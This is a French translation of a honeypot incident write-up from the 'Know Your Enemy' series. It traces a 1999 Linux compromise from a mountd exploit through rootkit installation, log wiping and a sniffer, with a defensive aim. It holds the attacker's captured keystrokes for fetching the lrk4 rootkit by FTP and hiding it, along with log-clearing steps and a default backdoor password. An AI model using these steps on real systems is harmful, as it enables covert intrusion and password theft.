Cet article a t traduit de
l'anglais par OUAH (OUAH_@hotmail.com),
La version originale est de
Lance Spitzner (lspitz@ksni.net) et peut-tre obtenue
http:/www.enteract.net/~lsiptz.
Know Your Enemy III: Ils ont obtenu le
statut root
Cet article est la troisime partie d'une srie se
concentrant sur le script kiddie. Le premier article parlait de la faon dont
les script kiddies scannent, identifient, et exploitent des vulnrabilits. Le
deuxime article se concentre sur la faon dont vous pouvez dtecter ces
tentatives, identifier quels outils ils utilisent et quelles vulnrabilits ils
recherchent. Cet article, le troisime, se concentre sur ce qui se produit une
fois qu'ils obtiennent le statut root. Spcifiquement, comment ils cachent leurs
traces et ce qu'ils font aprs.
Qui est le script
kiddie?
Comme nous avons vu dans le premier article, le script kiddie
n'est pas tant une personne, c'est plus une stratgie, la stratgie du scannage
pour une intrusion facile. Il ne recherche pas une information ou une compagnie
particulire, leur but est d'obtenir le statut root de la manire la plus facile
possible. Les hackers font cela en se concentrant sur un petit nombre d'exploits
et puis en recherchant les cibles sur l'entier du net pour tel exploit. Il ne
faut pas sous-estimer cette stratgie, car tt ou tard ils trouveront une
machine vulnrable.
Une fois qu'ils ont trouv un systme vulnrable et
qu'ils ont obtenu le statut root, la premire chose qu'ils font est d'assurer
leurs arrires. Ils veulent s'assurer que vous ne saurez pas que votre systme a
t hack et que vous ne pourrez ni voir ni noter leurs actions. Ensuite, ils
emploient souvent votre systme pour scaner d'autres rseaux ou surveiller
silencieusement le vtre. Pour avoir une meilleure comprhension de la faon
dont les hackers arrivent leurs fins, nous allons suivre pas pas les tapes
de compromission d'un systme par un hacker utilisant les techniques du script
kiddie. Notre systme, appel mozart, est un ordinateur Linux avec la Red Hat
5.1. Le systme a t compromis le 27 avril 1999. Plus bas on a retranscrit les
vrais techniques que notre hacker a utilises, avec les logs du systme et les
frappes au clavier pour vrifier chaque tape. Tous les logs du systme ont t
enregistrs sur un serveur protg syslog, toutes les frappes ont t captures
avec la technique du sniffing. Pour plus d'information sur la manire dont
toutes ces informations ont peu tre captures, jetez un coup d'oeil sur "To
Build a Honeypot". Dutant tout l'article nous dirons "il" pour le hacker bien
que nous n'avons aucune ide s'il s'agit d'un homme ou d'une
femme.
L'exploit
Le 27 avril 00:13, notre rseau a t
scann par l'ordinateur 1Cust174.tnt2.long-branch.nj.da.uu.net pour plusieurs
vulnrabilits dont le bug imap. Notre
hacker est venu sans discrtion vu que
chaque ordinateur de notre rseau a t scann (pour plus d'information sur la
dtection et l'analyse des scans, allez voir le deuxime article de
cette
srie).
Apr 27 00:12:25 mozart imapd[939]: connect from
208.252.226.174
Apr 27 00:12:27 bach imapd[1190]: connect from
208.252.226.174
Apr 27 00:12:30 vivaldi imapd[1225]: connect from
208.252.226.174
Apparemment il a du trouv quelque chose qui lui
plaisait puisqu'il est revenu 06:52 et 16:47 le mme jour. Il a commenc
avec un scannage plus complet mais cette fois se fixant seulement sur mozart. Il
identifia une vulnrabilit et lana une attaque qui fut couronne de succs
contre mountd, une vulnrabilit gnralement connue pour la Red Hat 5.1. Ici
nous voyons dans
/var/log/messages le hacker qui obtient le statut de
root. L'outil utilis tait certainement
ADMmountd.c ou quelque chose du
style.
Apr 27 16:47:28 mozart mountd[306]: Unauthorized access by NFS
client 208.252.226.174.
Apr 27 16:47:28 mozart syslogd: Cannot glue
message parts together
Apr 27 16:47:28 mozart mountd[306]: Blocked
attempt of 208.252.226.174 to
mount
~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P
~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~
Juste
aprs cette exploit, nous voyons dans /var/log/messages le hacker devenir root
en se telnetant comme l'user crack0 puis faisant un su l'user rewt. Chacun de
ces deux comptes ont t ajout par l'exploit. Notre hacker a maintenant le
contrle total de notre systme.
Apr 27 16:50:27 mozart login[1233]:
FAILED LOGIN 2 FROM
1Cust102.tnt1.long-branch.nj.da.uu.net FOR crak, User not
known to the underlying
authentication module
Apr 27 16:50:38 mozart
PAM_pwdb[1233]: (login) session opened for user crak0 by (uid=0)
Apr 27
16:50:38 mozart login[1233]: LOGIN ON ttyp0 BY crak0
FROM
1Cust102.tnt1.long-branch.nj.da.uu.net
Apr 27 16:50:47 mozart
PAM_pwdb[1247]: (su) session opened for user rewt by
crak0(uid=0)
Cacher ses traces
Le hacker est maintenant root
sur votre systme. Comme nous allons le voir maintenant, la suite
pour lui
est de s'assurer de ne pas se faire attrapper. D'abord il regarde s'il y a
quelqu'un d'autre sur l'ordinateur.
[crak0@mozart /tmp]$
w
4:48pm up 1 day, 18:27, 1 user, load average: 0.00, 0.00,
0.00
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
crak0 ttyp0
1Cust102.tnt1.lo 4:48pm 0.00s 0.23s 0.04s w
Aprs s'tre assurer
qu'il n'y ait personne l'horizon, il voudra cacher tout ce qu'il veut faire.
Ceci ncessite normalement d'enlever n'importe quelle trace des fichiers logs et
de remplacer les excutables du systme, par exemple pour ps et netstat, par des
trojans systme, pour que vous ne puissiez voir le hacker sur votre propre
systme. Une fois que les trojans ont t installs, le hacker a obtenu le
contrle total de votre systme et vous ne le saurez probablement jamais. De
mme qu'il existe des scripts automatiques pour hacker, il y a aussi des outils
automatiss pour cacher les hackers, souvent appels rootkits. Un des rootkits
les plus connus est lrk4. En excutant le script, plusieurs fichiers importants
sont remplacs ce qui a pour but de cacher le hacker aprs quelques secondes.
Pour des informations plus dtailles sur les rootkits, regardez le fichier
README qui accompagne lrk4. Cela vous donnera une meilleure ide de la faon
dont les rootkits fonctionnent en gnral. Je vous recommande aussi de regarder
"hide and seek", un document intressant pour cacher ses traces.
Quelques
minutes aprs avoir compromis notre systme, nous voyons le hacker downloader le
rootkit et implmenter le script avec la commande "make install". Ci-dessous,
les vrais frappes au clavier que le hacker a utilis pour se cacher.
cd
/dev/
su rewt
mkdir ". "
cd ". "
ftp
technotronic.com
anonymous
fdfsfdsdfssd@aol.com
cd
/unix/trojans
get
lrk4.unshad.tar.gz
quit
ls
tar -zxvf
lrk4.unshad.tar.gz
mv lrk4 proc
mv proc ". "
cd ".
"
ls
make install
Remarquez que la premire chose
que notre hacker fit est de crer le rpertoire cach ". " pour cacher son
rootkit. Ce rpertoire n'apparait pas avec la commande "ls", et apparais comme
le
rpertoire local avec la commande "ls -la". Une faon de localiser le
rpertoire est d'utiliser
la commande "find" (soyez sur que vous ayez en
l'intgrit de votre excutable "find").
mozart #find / -depth -name
"*.*"
/var/lib/news/.news.daily
/var/spool/at/.SEQ
/dev/.
/. /procps-1.01/proc/.depend
/dev/.
/.
/dev/.
Notre hackeur a t quelque peu laborieux en
utilisant des trojans mais a eu une approche simpliste pour effacer les fichiers
logs. Au lieu d'utiliser des outils de nettoyage comme zap2 ou clean, il a copi
le fichier /dev/null sur les fichiers /var/run/utmp et /var/log/utmp tout en
effaant /var/log/wtmp. Vous savez peut-tre que quelque chose ne joue pas quand
ces fichiers
logs ne contiennent aucune donne ou si vous obtenez l'erreur
suivante:
[root@mozart sbin]# last -10
last: /var/log/wtmp: No
such file or directory
Perhaps this file was removed by the operator to
prevent logging last info.
L'tape suivante
Une fois
qu'un systme a t compromis, les hackers essayent de faire une de ces deux
choses:
Premirement ils utilisent votre systme comme plateforme de
lancement en scannant ou en forant d'autres systmes. En second lieu, ils
dcident d'tendre leur prise en voyant ce qu'ils peuvent apprendre de votre
systme comme des comptes sur d'autres systmes. Notre hacker opta pour la
solution deux. Il implmenta un sniffer sur notre systme qui capturerait tout
le trafic de notre rseau y compris les sessions telnet et ftp sur d'autres
systmes. De cette faon il pourrait connatre les logins et les passwords. Nous
pouvons voir notre systme passer en mode transparent (promiscuous mode) dans
/var/log/messages peu aprs l'intrusion.
Apr 27 17:03:38 mozart
kernel: eth0: Setting promiscuous mode.
Apr 27 17:03:43 mozart kernel:
eth0: Setting promiscuous mode.
Aprs avoir implment les trojans,
nettoy les logs et excut le sniffer notre hacker se
dconnecta du systme.
Cependant, nous le verrons revenir le lendemain pour retirer les rsultats de
ses captures du trafic.
Contrle des dgts
Puisque notre ami
s'est dconnect, cela me donna une chance de passer en revue le systme et de
voir ce qui s'tait exactement pass. J'tais extrmement intress de voir ce
qui avait t altr et o il stockait les informations du sniffeur. D'abord,
j'identifiai rapidement avec tripwire quels fichiers avaient t modifi.
Remarque: soyez sur de lancer tripwire depuis une source valide. J'aime lancer
une version statically-linked de tripwire d'un lecteur en lecture seule.
Tripwire montra les choses suivantes:
added: -rw-r--r-- root 5 Apr 27
17:01:16 1999 /usr/sbin/sniff.pid
added: -rw-r--r-- root 272 Apr 27
17:18:09 1999 /usr/sbin/tcp.log
changed: -rws--x--x root 15588 Jun 1
05:49:22 1998 /bin/login
changed: drwxr-xr-x root 20480 Apr 10 14:44:37
1999 /usr/bin
changed: -rwxr-xr-x root 52984 Jun 10 04:49:22 1998
/usr/bin/find
changed: -r-sr-sr-x root 126600 Apr 27 11:29:18 1998
/usr/bin/passwd
changed: -r-xr-xr-x root 47604 Jun 3 16:31:57 1998
/usr/bin/top
changed: -r-xr-xr-x root 9712 May 1 01:04:46 1998
/usr/bin/killall
changed: -rws--s--x root 116352 Jun 1 20:25:47 1998
/usr/bin/chfn
changed: -rws--s--x root 115828 Jun 1 20:25:47 1998
/usr/bin/chsh
changed: drwxr-xr-x root 4096 Apr 27 17:01:16 1999
/usr/sbin
changed: -rwxr-xr-x root 137820 Jun 5 09:35:06 1998
/usr/sbin/inetd
changed: -rwxr-xr-x root 7229 Nov 26 00:02:19 1998
/usr/sbin/rpc.nfsd
changed: -rwxr-xr-x root 170460 Apr 24 00:02:19 1998
/usr/sbin/in.rshd
changed: -rwxr-x--- root 235516 Apr 4 22:11:56 1999
/usr/sbin/syslogd
changed: -rwxr-xr-x root 14140 Jun 30 14:56:36 1998
/usr/sbin/tcpd
changed: drwxr-xr-x root 2048 Apr 4 16:52:55 1999
/sbin
changed: -rwxr-xr-x root 19840 Jul 9 17:56:10 1998
/sbin/ifconfig
changed: -rw-r--r-- root 649 Apr 27 16:59:54 1999
/etc/passwd
Comme vous pouvez le voir plusieurs excutables et
fichiers ont t modifi. Il n'y avait aucune nouvelle entre dans /etc/passwd
(il avait prudemment enlev les comptes de crak0 et de rewt) donc notre hacker
avait du laisser une backdoor dans un des excutables modifis. En outre, deux
fichiers avaient t ajouts, /usr/sbin/sniff.pid et /usr/sbin/tcp.log. Sans
surprise /usr/sbin/sniff.pid tait le pid du sniffer et /usr/sbin/tcp.log tait
o il stockait toutes les informations captures. Se basant sur
/usr/sbin/sniff.pid, le sniffer s'est avr tre rpc.nfsd. Notre hacker avait
compil un sniffer, ici linsniffer, et remplaa rpc.nfsd par celui-ci. Cela lui
assurait que si le systme tait reboot, le sniffer redmarrait le processus
d'initialisation. Les lignes suivantes confirment que rpc.nfsd est le
sniffer:
mozart #strings /usr/sbin/rpc.nfsd | tail -15
cant get
SOCK_PACKET socket
cant get flags
cant set promiscuous
mode
----- [CAPLEN Exceeded]
----- [Timed Out]
-----
[RST]
----- [FIN]
%s =>
%s
[%d]
sniff.pid
eth0
tcp.log
cant open
log
rm %s
Aprs avoir pass en revue le systme et compris
ce qui s'tait pass, je quittai le systme.
J'tais curieux de savoir ce que
ferait le hacker aprs. Je n'ai pas voulu qu'il st que je l'avais attrap,
ainsi j'ai enlev toutes mes entres de /usr/sbin/tcp.log.
Les suites
du script kiddie
Notre hacker revint le jour suivant. En sauvant ses
frappes au clavier, je pus rapidement
identifier la backdoor, /bin/login
tais infecte par un trojan. Cet excutable utilis pour les connexions telnet
tait configur pour donner au compte "rewt" les privilges root avec le mot de
passe "satori". Le mot de passe "satori " est le mot de passe par dfaut pour
tous les excutables trojaned que le rootkit lrk4 utilise, une information
radicale pour savoir si
votre systme a t compromis.
Le hacker
vrifiait son sniffer pour s'assurer qu'il fonctionnait toujours. En outre, il
voulait voir si un compte avait t captur depuis la veille. Vous pouvez voir
ses frappes au clavier sur "keystrokes.txt". Remarquez qu' la fin du log notre
hacker fit un kill sur le sniffer. Ce fut la dernire chose qu'il fit avant de
finir sa session. Cependant, il revint rapidement aprs quelques minutes avec
une autre session juste pour redmarrer le sniffer. Je ne sais pas vraiment
pourquoi il fit cela.
Cette histoire de vrification du systme continua
encore plusieurs jours. Chaque jour le hacker voulait se connecter au systme
pour voir si le sniffer fonctionnait et s'il avait pris des donnes
intressantes. Aprs le quatrime jour, j'en eus assez et dconnectai le
systme. J'avais appris assez des actions du hackeur et n'allais rien apprendre
de nouveau.
Conclusion
Nous avons vu dans cet article comment
un hacker peut agir, du dbut la fin, une fois qu'il est devenu root sur votre
systme. Ils commencent souvent par vrifier si quelqu'un est sur le systme.
Une fois qu'ils savent que la voie est libre, ils dissimulent leurs traces en
nettoyant les fichiers logs et en remplaant ou en modifiant des dossiers
importants. Une fois qu'ils sont cachs de manire sure, ils passent de
nouvelles et plus prjudiciables activits. Leur tactique est de rester, vu que
les nouveaux exploits sont constamment dcouverts. Pour mieux se protger contre
ces menaces, je vous recommande de scuriser vos ordinateurs. Une scurit de
base vous protgera contre la menace de la plupart des script kiddies, contre le
fait qu'ils forcent un systme sans trop de problmes. Pour se faire une ide
sur la faon de scuriser votre systme, allez voir "Armoring Linux" ou
"Armoring Solaris". S' il est trop tard et que vous pensez que votre systme a
dj t compromis, un bon dpart est le site du CERT "Recovering from an
Incident" .